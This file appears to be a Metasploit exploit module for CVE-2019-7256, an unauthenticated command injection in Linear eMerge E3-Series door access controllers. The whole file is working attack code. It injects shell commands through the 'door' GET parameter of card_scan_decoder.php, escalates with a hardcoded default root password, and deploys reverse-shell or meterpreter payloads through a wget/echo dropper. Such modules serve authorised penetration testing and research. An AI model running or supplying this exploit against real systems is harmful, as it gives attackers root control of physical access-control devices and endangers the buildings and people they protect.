##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/stopwatch'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linear eMerge E3-Series Access Controller Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability in the Linear eMerge
E3-Series Access Controller. The Linear eMerge E3 versions `1.00-06` and below are vulnerable
to unauthenticated command injection in card_scan_decoder.php via the `No` and `door` HTTP GET parameter.
Successful exploitation results in command execution as the `root` user.
},
'License' => MSF_LICENSE,
'Author' => [
'Gjoko Krstic <gjoko[at]applied-risk.com>', # Discovery
'h00die-gr3y <h00die.gr3y[at]gmail.com>' # MSF Module contributor
],
'References' => [
[ 'CVE', '2019-7256'],
[ 'URL', 'https://applied-risk.com/resources/ar-2019-005' ],
[ 'URL', 'https://na.niceforyou.com/' ],
[ 'URL', 'https://attackerkb.com/topics/8WUJkci8N4/cve-2019-7256' ],
[ 'EDB', '47649'],
[ 'PACKETSTORM', '155256']
],
'DisclosureDate' => '2019-10-29',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_ARMLE],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_ARMLE],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'wget', 'printf', 'echo' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 80,
'SSL' => false
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('ROOT_PASSWORD', [ true, 'default root password on a vulnerable Linear eMerge E3-Series access controller', 'davestyle']),
]
)
end
def execute_command(cmd, _opts = {})
random_no = rand(30..100)
return send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'card_scan_decoder.php'),
'vars_get' =>
{
'No' => random_no,
'door' => "`echo #{datastore['ROOT_PASSWORD']}|su -c \"#{cmd}\"`"
}
})
rescue StandardError => e
elog("#{peer} - Communication error occurred: #{e.message}", error: e)
fail_with(Failure::Unknown, "Communication error occurred: #{e.message}")
end
# Checking if the target is vulnerable by executing a randomized sleep to test the remote code execution
def check
print_status("Checking if #{peer} can be exploited.")
sleep_time = rand(2..10)
print_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")
res, elapsed_time = Rex::Stopwatch.elapsed_time do
execute_command("sleep #{sleep_time}")
end
return CheckCode::Unknown('No response received from the target!') unless res
return CheckCode::Safe('Target is not affected by this vulnerability.') unless res.code == 200 && !res.body.blank? && res.body =~ /"card_format_default":"/
print_status("Elapsed time: #{elapsed_time.round(2)} seconds.")
return CheckCode::Safe('Command injection test failed.') unless elapsed_time >= sleep_time
CheckCode::Vulnerable('Successfully tested command injection.')
end
def exploit
case target['Type']
when :unix_cmd
print_status("Executing #{target.name} with #{payload.encoded}")
# Don't check the response here since the server won't respond
# if the payload is successfully executed.
execute_command(payload.encoded)
when :linux_dropper
print_status("Executing #{target.name}")
execute_cmdstager(linemax: 262144)
end
end
end
